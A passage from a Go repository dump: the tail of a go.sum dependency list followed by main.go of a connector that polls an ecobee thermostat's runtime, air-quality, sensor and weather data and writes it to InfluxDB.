h1:r9E7sWrSJAXm89rZi/lCRG4fOW2PUermoXDatewtr9I= 8 | github.com/cdzombak/libwx v1.3.1/go.mod h1:V7luoFKjP+d+bvVF+BDAU4weSFtYHUOPseapzkVDWt4= 9 | github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 10 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= 11 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 12 | github.com/golang/glog v1.2.4 h1:CNNw5U8lSiiBk7druxtSHHTsRWcxKoac6kZKm2peBBc= 13 | github.com/golang/glog v1.2.4/go.mod h1:6AhwSGph0fcJtXVM/PEHPqZlFeoLxhs7/t5UDAwmO+w= 14 | github.com/google/go-cmp v0.6.0 h1:ofyhxvXcZhMsU5ulbFiLKl/XBFqE1GSq7atu8tAmTRI= 15 | github.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= 16 | github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0= 17 | github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= 18 | github.com/influxdata/influxdb-client-go/v2 v2.14.0 h1:AjbBfJuq+QoaXNcrova8smSjwJdUHnwvfjMF71M1iI4= 19 | github.com/influxdata/influxdb-client-go/v2 v2.14.0/go.mod h1:Ahpm3QXKMJslpXl3IftVLVezreAUtBOTZssDrjZEFHI= 20 | github.com/influxdata/line-protocol v0.0.0-20210922203350-b1ad95c89adf h1:7JTmneyiNEwVBOHSjoMxiWAqB992atOeepeFYegn5RU= 21 | github.com/influxdata/line-protocol v0.0.0-20210922203350-b1ad95c89adf/go.mod h1:xaLFMmpvUxqXtVkUJfg9QmT88cDaCJ3ZKgdZ78oO8Qo= 22 | github.com/juju/gnuflag v0.0.0-20171113085948-2ce1bb71843d/go.mod h1:2PavIy+JPciBPrBUjwbNvtwB6RQlve+hkpll6QSNmOE= 23 | github.com/oapi-codegen/runtime v1.0.0 h1:P4rqFX5fMFWqRzY9M/3YF9+aPSPPB06IzP2P7oOxrWo= 24 | github.com/oapi-codegen/runtime v1.0.0/go.mod h1:LmCUMQuPB4M/nLXilQXhHw+BLZdDb18B34OO356yJ/A= 25 | github.com/oapi-codegen/runtime v1.1.1 h1:EXLHh0DXIJnWhdRPN2w4MXAzFyE4CskzhNLUmtpMYro= 26 | github.com/oapi-codegen/runtime v1.1.1/go.mod h1:SK9X900oXmPWilYR5/WKPzt3Kqxn/uS/+lbpREv+eCg= 27 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= 28 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= 29 | github.com/spkg/bom v0.0.0-20160624110644-59b7046e48ad/go.mod h1:qLr4V1qq6nMqFKkMo8ZTx3f+BZEkzsRUY10Xsm2mwU0= 30 | github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= 31 | github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= 32 | github.com/stretchr/testify v1.9.0 h1:HtqpIVDClZ4nwg75+f6Lvsy/wHu+3BoSGCbBAcpTsTg= 33 | github.com/stretchr/testify v1.9.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY= 34 | golang.org/x/net v0.34.0 h1:Mb7Mrk043xzHgnRM88suvJFwzVrRfHEHJEl5/71CKw0= 35 | golang.org/x/net v0.34.0/go.mod h1:di0qlW3YNM5oh6GqDGQr92MyTozJPmybPK4Ev/Gm31k= 36 | golang.org/x/net v0.39.0 h1:ZCu7HMWDxpXpaiKdhzIfaltL9Lp31x/3fCP11bc6/fY= 37 | golang.org/x/net v0.39.0/go.mod h1:X7NRbYVEA+ewNkCNyJ513WmMdQ3BineSwVtN2zD/d+E= 38 | golang.org/x/oauth2 v0.26.0 h1:afQXWNNaeC4nvZ0Ed9XvCCzXM6UHJG7iCg0W4fPqSBE= 39 | golang.org/x/oauth2 v0.26.0/go.mod h1:XYTD2NtWslqkgxebSiOHnXEap4TF09sJSc7H1sXbhtI= 40 | golang.org/x/oauth2 v0.29.0 h1:WdYw2tdTK1S8olAzWHdgeqfy+Mtm9XNhv/xJsY65d98= 41 | golang.org/x/oauth2 v0.29.0/go.mod h1:onh5ek6nERTohokkhCD/y2cV4Do3fxFHFuAejCkRWT8= 42 | gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= 43 | gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 44 | -------------------------------------------------------------------------------- /main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "context" 5 | "encoding/json" 6 | "flag" 7 | "fmt" 8 | "log" 9 | "math" 10 | "os" 11 | "path" 12 | "strconv" 13 | "time" 14 | 15 | "github.com/avast/retry-go" 16 | wx "github.com/cdzombak/libwx" 17 | "github.com/influxdata/influxdb-client-go/v2" 18 | 19 | "ecobee_influx_connector/ecobee" // taken from https://github.com/rspier/go-ecobee and lightly customized 20 | ) 21 | 22 | // Config describes the ecobee_influx_connector program's configuration. 23 | // It is used to parse the configuration JSON file. 24 | type Config struct { 25 | APIKey string `json:"api_key"` 26 | WorkDir string `json:"work_dir,omitempty"` 27 | ThermostatID string `json:"thermostat_id"` 28 | InfluxServer string `json:"influx_server"` 29 | InfluxOrg string `json:"influx_org,omitempty"` 30 | InfluxUser string `json:"influx_user,omitempty"` 31 | InfluxPass string `json:"influx_password,omitempty"` 32 | InfluxToken string `json:"influx_token,omitempty"` 33 | InfluxBucket string `json:"influx_bucket"` 34 | InfluxHealthCheckDisabled bool `json:"influx_health_check_disabled"` 35 | WriteHeatPump1 bool `json:"write_heat_pump_1"` 36 | WriteHeatPump2 bool `json:"write_heat_pump_2"` 37 | WriteAuxHeat1 bool `json:"write_aux_heat_1"` 38 | WriteAuxHeat2 bool `json:"write_aux_heat_2"` 39 | WriteCool1 bool `json:"write_cool_1"` 40 | WriteCool2 bool `json:"write_cool_2"` 41 | WriteHumidifier bool `json:"write_humidifier"` 42 | WriteDehumidifier bool `json:"write_dehumidifier"` 43 | AlwaysWriteWeather bool `json:"always_write_weather_as_current"` 44 | } 45 | 46 | const ( 47 | thermostatNameTag = "thermostat_name" 48 | source = "ecobee" 49 | sourceTag = "data_source" 50 | ecobeeWeatherMeasurementName = "ecobee_weather" 51 | ) 52 | 53 | var version = "" 54 | 55 | func main() { 56 | configFile := flag.String("config", "", "Configuration JSON file.") 57 | listThermostats := flag.Bool("list-thermostats", false, "List available thermostats, then exit.") 58 | printVersion := flag.Bool("version", false, "Print version and exit.") 59 | flag.Parse() 60 | 61 | if *printVersion { 62 | fmt.Println(version) 63 | os.Exit(0) 64 | } 65 | 66 | if *configFile == "" { 67 | fmt.Println("-config is required.") 68 | os.Exit(1) 69 | } 70 | 71 | config := Config{} 72 | cfgBytes, err := os.ReadFile(*configFile) 73 | if err != nil { 74 | log.Fatalf("Unable to read config file '%s': %s", *configFile, err) 75 | } 76 | if err = json.Unmarshal(cfgBytes, &config); err != nil { 77 | log.Fatalf("Unable to parse config file '%s': %s", *configFile, err) 78 | } 79 | if config.APIKey == "" { 80 | log.Fatal("api_key must be set in the config file.") 81 | } 82 | if config.WorkDir == "" { 83 | wd, err := os.Getwd() 84 | if err != nil { 85 | log.Fatalf("Unable to get current working directory: %s", err) 86 | } 87 | config.WorkDir = wd 88 | } 89 | 90 | client := ecobee.NewClient(config.APIKey, path.Join(config.WorkDir, "ecobee-cred-cache")) 91 | 92 | if *listThermostats { 93 | s := ecobee.Selection{ 94 | SelectionType: "registered", 95 | } 96 | ts, err := client.GetThermostats(s) 97 | if err != nil { 98 | log.Fatal(err) 99 | } 100 | for _, t := range ts { 101 | fmt.Printf("'%s': ID %s\n", t.Name, t.Identifier) 102 | } 103 | os.Exit(0) 104 | } 105 | 106 | if config.ThermostatID == "" { 107 | log.Fatalf("thermostat_id must be set in the config file.") 108 | } 109 | if config.InfluxBucket == "" || config.InfluxServer == "" { 110 | log.Fatalf("influx_server and influx_bucket must be set in the config file.") 111 | } 112 | 113 | const influxTimeout = 3 * time.Second 114 | authString := "" 115 | if config.InfluxUser != "" || config.InfluxPass != "" { 116 | authString = fmt.Sprintf("%s:%s", config.InfluxUser, config.InfluxPass) 117 | } else if config.InfluxToken != "" { 118 | authString = fmt.Sprintf("%s", config.InfluxToken) 119 | } 120 | influxClient := influxdb2.NewClient(config.InfluxServer, authString) 121 | if !config.InfluxHealthCheckDisabled { 122 | ctx, cancel := context.WithTimeout(context.Background(), influxTimeout) 123 | defer cancel() 124 | health, err := influxClient.Health(ctx) 125 | if err != nil { 126 | log.Fatalf("failed to check InfluxDB health: %v", err) 127 | } 128 | if health.Status != "pass" { 129 | log.Fatalf("InfluxDB did not pass health check: status %s; message '%s'", health.Status, *health.Message) 130 | } 131 | } 132 | influxWriteAPI := influxClient.WriteAPIBlocking(config.InfluxOrg, config.InfluxBucket) 133 | _ = influxWriteAPI 134 | 135 | lastWrittenRuntimeInterval := 0 136 | lastWrittenWeather := time.Time{} 137 | lastWrittenSensors := time.Time{} 138 | 139 | doUpdate := func() { 140 | if err := retry.Do( 141 | func() error { 142 | t, err := client.GetThermostat(config.ThermostatID) 143 | if err != nil { 144 | return err 145 | } 146 | 147 | // Air quality related values are only in the current runtime, 148 | // thus they need to be handled outside the extended runtime section 149 | currentRuntimeReportTime, err := time.Parse("2006-01-02 15:04:05", t.Runtime.LastStatusModified) 150 | if err != nil { 151 | return err 152 | } 153 | 154 | if err := retry.Do(func() error { 155 | ctx, cancel := context.WithTimeout(context.Background(), influxTimeout) 156 | defer cancel() 157 | 158 | actualAQAccuracy := t.Runtime.ActualAQAccuracy 159 | actualAQScore := t.Runtime.ActualAQScore 160 | actualCO2 := t.Runtime.ActualCO2 161 | actualVOC := t.Runtime.ActualVOC 162 | 163 | fmt.Printf("Air quality at %s:\n", currentRuntimeReportTime) 164 | fmt.Printf("\tcurrent co2: %d\n\tcurrent voc: %d\n", 165 | actualCO2, actualVOC) 166 | 167 | fields := map[string]interface{}{ 168 | "airquality_accuracy": actualAQAccuracy, 169 | "airquality_score": actualAQScore, 170 | "co2": actualCO2, 171 | "voc": actualVOC, 172 | } 173 | 174 | err := influxWriteAPI.WritePoint(ctx, 175 | influxdb2.NewPoint( 176 | "ecobee_air_quality", 177 | map[string]string{thermostatNameTag: t.Name}, // tags 178 | fields, 179 | currentRuntimeReportTime, 180 | )) 181 | if err != nil { 182 | return err 183 | } 184 | return nil 185 | }, retry.Attempts(3), retry.Delay(1*time.Second)); err != nil { 186 | return err 187 | } 188 | 189 | latestRuntimeInterval := t.ExtendedRuntime.RuntimeInterval 190 | log.Printf("latest runtime interval available is %d\n", latestRuntimeInterval) 191 | 192 | // In the absence of a time zone indicator, Parse returns a time in UTC. 193 | baseReportTime, err := time.Parse("2006-01-02 15:04:05", t.ExtendedRuntime.LastReadingTimestamp) 194 | if err != nil { 195 | return err 196 | } 197 | 198 | for i := 0; i < 3; i++ { 199 | reportTime := baseReportTime 200 | if i == 0 { 201 | reportTime = reportTime.Add(-5 * time.Minute) 202 | } 203 | if i == 2 { 204 | reportTime = reportTime.Add(5 * time.Minute) 205 | } 206 | 207 | currentTemp := wx.TempF(float64(t.ExtendedRuntime.ActualTemperature[i]) / 10.0) 208 | currentHumidity := t.ExtendedRuntime.ActualHumidity[i] 209 | heatSetPoint := wx.TempF(float64(t.ExtendedRuntime.DesiredHeat[i]) / 10.0) 210 | coolSetPoint := wx.TempF(float64(t.ExtendedRuntime.DesiredCool[i]) / 10.0) 211 | humiditySetPoint := t.ExtendedRuntime.DesiredHumidity[i] 212 | demandMgmtOffset := wx.TempF(float64(t.ExtendedRuntime.DmOffset[i]) / 10.0) 213 | hvacMode := t.ExtendedRuntime.HvacMode[i] // string :( 214 | heatPump1RunSec := t.ExtendedRuntime.HeatPump1[i] 215 | heatPump2RunSec := t.ExtendedRuntime.HeatPump2[i] 216 | auxHeat1RunSec := t.ExtendedRuntime.AuxHeat1[i] 217 | auxHeat2RunSec := t.ExtendedRuntime.AuxHeat2[i] 218 | cool1RunSec := t.ExtendedRuntime.Cool1[i] 219 | cool2RunSec := t.ExtendedRuntime.Cool2[i] 220 | fanRunSec := t.ExtendedRuntime.Fan[i] 221 | humidifierRunSec := t.ExtendedRuntime.Humidifier[i] 222 | dehumidifierRunSec := t.ExtendedRuntime.Dehumidifier[i] 223 | 224 | fmt.Printf("Thermostat conditions at %s:\n", reportTime) 225 | fmt.Printf("\tcurrent temperature: %.1f degF (%.1f degC)\n\theat set point: %.1f degF (%.1f degC)"+ 226 | "\n\tcool set point: %.1f degF (%.1f degC)\n\tdemand management offset: %.1f (%.1f degC)\n", 227 | currentTemp, currentTemp.C(), heatSetPoint, heatSetPoint.C(), 228 | coolSetPoint, coolSetPoint.C(), demandMgmtOffset, demandMgmtOffset.C()) 229 | fmt.Printf("\tcurrent humidity: %d%%\n\thumidity set point: %d\n\tHVAC mode: %s\n", 230 | currentHumidity, humiditySetPoint, hvacMode) 231 | fmt.Printf("\tfan runtime: %d seconds\n\thumidifier runtime: %d seconds\n\tdehumidifier runtime: %d seconds\n", 232 | fanRunSec, humidifierRunSec, dehumidifierRunSec) 233 | fmt.Printf("\theat pump 1 runtime: %d seconds\n\theat pump 2 runtime: %d seconds\n", 234 | heatPump1RunSec, heatPump2RunSec) 235 | fmt.Printf("\theat 1 runtime: %d seconds\n\theat 2 runtime: %d seconds\n", 236 | auxHeat1RunSec, auxHeat2RunSec) 237 | fmt.Printf("\tcool 1 runtime: %d seconds\n\tcool 2 runtime: %d seconds\n", 238 | cool1RunSec, cool2RunSec) 239 | 240 | if latestRuntimeInterval != lastWrittenRuntimeInterval { 241 | if err := retry.Do(func() error { 242 | ctx, cancel := context.WithTimeout(context.Background(), influxTimeout) 243 | defer cancel() 244 | fields := map[string]interface{}{ 245 | "temperature": currentTemp.Unwrap(), 246 | "temperature_f": currentTemp.Unwrap(), 247 | "temperature_c": currentTemp.C().Unwrap(), 248 | "humidity": currentHumidity, 249 | "heat_set_point": heatSetPoint.Unwrap(), 250 | "heat_set_point_f": heatSetPoint.Unwrap(), 251 | "heat_set_point_c": heatSetPoint.C().Unwrap(), 252 | "cool_set_point": coolSetPoint.Unwrap(), 253 | "cool_set_point_f": coolSetPoint.Unwrap(), 254 | "cool_set_point_c": coolSetPoint.C().Unwrap(), 255 | "demand_mgmt_offset": demandMgmtOffset.Unwrap(), 256 | "demand_mgmt_offset_f": demandMgmtOffset.Unwrap(), 257 | "demand_mgmt_offset_c": demandMgmtOffset.C().Unwrap(), 258 | "fan_run_time": fanRunSec, 259 | } 260 | if config.WriteHumidifier || config.WriteDehumidifier { 261 | fields["humidity_set_point"] = humiditySetPoint 262 | } 263 | 264 | if config.WriteHumidifier { 265 | fields["humidifier_run_time"] = humidifierRunSec 266 | } 267 | 268 | if config.WriteDehumidifier { 269 | fields["dehumidifier_run_time"] = dehumidifierRunSec 270 | } 271 | if config.WriteAuxHeat1 { 272 | fields["aux_heat_1_run_time"] = auxHeat1RunSec 273 | } 274 | if config.WriteAuxHeat2 { 275 | fields["aux_heat_2_run_time"] = auxHeat2RunSec 276 | } 277 | if config.WriteHeatPump1 { 278 | fields["heat_pump_1_run_time"] = heatPump1RunSec 279 | } 280 | if config.WriteHeatPump2 { 281 | fields["heat_pump_2_run_time"] = heatPump2RunSec 282 | } 283 | if config.WriteCool1 { 284 | fields["cool_1_run_time"] = cool1RunSec 285 | } 286 | if config.WriteCool2 { 287 | fields["cool_2_run_time"] = cool2RunSec 288 | } 289 | err := influxWriteAPI.WritePoint(ctx, 290 | influxdb2.NewPoint( 291 | "ecobee_runtime", 292 | map[string]string{thermostatNameTag: t.Name}, 293 | fields, 294 | reportTime, 295 | )) 296 | if err != nil { 297 | return err 298 | } 299 | return nil 300 | }, retry.Attempts(3), retry.Delay(1*time.Second)); err != nil { 301 | return err 302 | } 303 | } 304 | } 305 | lastWrittenRuntimeInterval = latestRuntimeInterval 306 | 307 | // assume t.LastModified for these: 308 | sensorTime, err := time.Parse("2006-01-02 15:04:05", t.UtcTime) 309 | if err != nil { 310 | return err 311 | } 312 | for _, sensor := range t.RemoteSensors { 313 | name := sensor.Name 314 | var temp wx.TempF 315 | var presence, presenceSupported bool 316 | for _, c := range sensor.Capability { 317 | if c.Type == "temperature" { 318 | tempInt, err := strconv.Atoi(c.Value) 319 | if err != nil { 320 | log.Printf("error reading temp '%s' for sensor %s: %s", c.Value, sensor.Name, err) 321 | } else { 322 | temp = wx.TempF(float64(tempInt) / 10.0) 323 | } 324 | } else if c.Type == "occupancy" { 325 | presenceSupported = true 326 | presence = c.Value == "true" 327 | } 328 | } 329 | fmt.Printf("Sensor '%s' at %s:\n", name, sensorTime) 330 | fmt.Printf("\ttemperature: %.1f degF (%.1f degC)\n", temp, temp.C()) 331 | if presenceSupported { 332 | fmt.Printf("\toccupied: %t\n", presence) 333 | } 334 | 335 | if temp == 0.0 { 336 | // no temp reading from this sensor, so skip writing it to Influx 337 | continue 338 | } 339 | 340 | if sensorTime != lastWrittenSensors { 341 | if err := retry.Do(func() error { 342 | ctx, cancel := context.WithTimeout(context.Background(), influxTimeout) 343 | defer cancel() 344 | fields := map[string]interface{}{ 345 | "temperature": temp.Unwrap(), 346 | "temperature_f": temp.Unwrap(), 347 | "temperature_c": temp.C().Unwrap(), 348 | } 349 | if presenceSupported { 350 | fields["occupied"] = presence 351 | } 352 | err := influxWriteAPI.WritePoint(ctx, 353 | influxdb2.NewPoint( 354 | "ecobee_sensor", 355 | map[string]string{ 356 | thermostatNameTag: t.Name, 357 | "sensor_name": sensor.Name, 358 | "sensor_id": sensor.ID, 359 | }, // tags 360 | fields, 361 | sensorTime, 362 | )) 363 | if err != nil { 364 | return err 365 | } 366 | return nil 367 | }, retry.Attempts(3), retry.Delay(1*time.Second)); err != nil { 368 | return err 369 | } 370 | } 371 | } 372 | lastWrittenSensors = sensorTime 373 | 374 | weatherTime, err := time.Parse("2006-01-02 15:04:05", t.Weather.Timestamp) 375 | if err != nil { 376 | return err 377 | } 378 | outdoorTemp := wx.TempF(float64(t.Weather.Forecasts[0].Temperature) / 10.0) 379 | pressureMillibar := wx.PressureMb(t.Weather.Forecasts[0].Pressure) 380 | outdoorHumidity := wx.ClampedRelHumidity(t.Weather.Forecasts[0].RelativeHumidity) 381 | dewpoint := wx.TempF(float64(t.Weather.Forecasts[0].Dewpoint) / 10.0) 382 | windSpeedMph := wx.SpeedMph(t.Weather.Forecasts[0].WindSpeed) 383 | windBearing := t.Weather.Forecasts[0].WindBearing 384 | visibilityMeters := wx.Meter(t.Weather.Forecasts[0].Visibility) 385 | visibilityMiles := visibilityMeters.Miles() 386 | windChill := wx.WindChillF(outdoorTemp, windSpeedMph) 387 | weatherSymbol := t.Weather.Forecasts[0].WeatherSymbol 388 | sky := t.Weather.Forecasts[0].Sky 389 | 390 | fmt.Printf("Weather at %s:\n", weatherTime) 391 | fmt.Printf("\ttemperature: %.1f degF (%.1f degC)\n\tpressure: %.0f mb\n\thumidity: %d%%\n\tdew point: %.1f degF (%.1f degC)", 392 | outdoorTemp, outdoorTemp.C(), pressureMillibar, outdoorHumidity, dewpoint, dewpoint.C()) 393 | fmt.Printf("\n\twind: %d at %.0f mph\n\twind chill: %.1f degF\n\tvisibility: %.1f miles\nweather symbol: %d\nsky: %d", 394 | windBearing, windSpeedMph, windChill, visibilityMiles, weatherSymbol, sky) 395 | 396 | if weatherTime != lastWrittenWeather || config.AlwaysWriteWeather { 397 | if err := retry.Do(func() error { 398 | ctx, cancel := context.WithTimeout(context.Background(), influxTimeout) 399 | defer cancel() 400 | pointTime := weatherTime 401 | if config.AlwaysWriteWeather { 402 | pointTime = time.Now() 403 | } 404 | err := influxWriteAPI.WritePoint(ctx, 405 | influxdb2.NewPoint( 406 | ecobeeWeatherMeasurementName, 407 | map[string]string{ // tags 408 | thermostatNameTag: t.Name, 409 | sourceTag: source, 410 | }, 411 | map[string]interface{}{ // fields 412 | "outdoor_temp": outdoorTemp.Unwrap(), 413 | "outdoor_temp_f": outdoorTemp.Unwrap(), 414 | "outdoor_temp_c": outdoorTemp.C().Unwrap(), 415 | "outdoor_humidity": outdoorHumidity.Unwrap(), 416 | "barometric_pressure_mb": int(math.Round(pressureMillibar.Unwrap())), // we get int precision from Ecobee, and historically this is written as int 417 | "barometric_pressure_inHg": pressureMillibar.InHg().Unwrap(), 418 | "dew_point": dewpoint.Unwrap(), 419 | "dew_point_f": dewpoint.Unwrap(), 420 | "dew_point_c": dewpoint.C().Unwrap(), 421 | "wind_speed": int(math.Round(windSpeedMph.Unwrap())), // we get int precision from Ecobee, and historically this is written as int 422 | "wind_speed_mph": windSpeedMph.Unwrap(), 423 | "wind_bearing": windBearing, 424 | "visibility_mi": visibilityMiles.Unwrap(), 425 | "visibility_km": visibilityMiles.Km().Unwrap(), 426 | "recommended_max_indoor_humidity": wx.IndoorHumidityRecommendationF(outdoorTemp).Unwrap(), 427 | "wind_chill_f": windChill.Unwrap(), 428 | "wind_chill_c": windChill.C().Unwrap(), 429 | "weather_symbol": weatherSymbol, 430 | "sky": sky, 431 | }, 432 | pointTime, 433 | )) 434 | if err != nil { 435 | return err 436 | } 437 | lastWrittenWeather = weatherTime 438 | return nil 439 | }, retry.Attempts(3), retry.Delay(1*time.Second)); err != nil { 440 | return err 441 | } 442 | } 443 | 444 | return nil 445 | }, 446 | retry.Attempts(3), 447 | retry.Delay(5*time.Second), 448 | ); err != nil { 449 | log.Fatal(err) 450 | } 451 | } 452 | 453 | doUpdate() 454 | for { 455 | select { 456 | case <-time.Tick(5 * time.Minute): 457 | doUpdate() 458 | } 459 | } 460 | } 461 | --------------------------------------------------------------------------------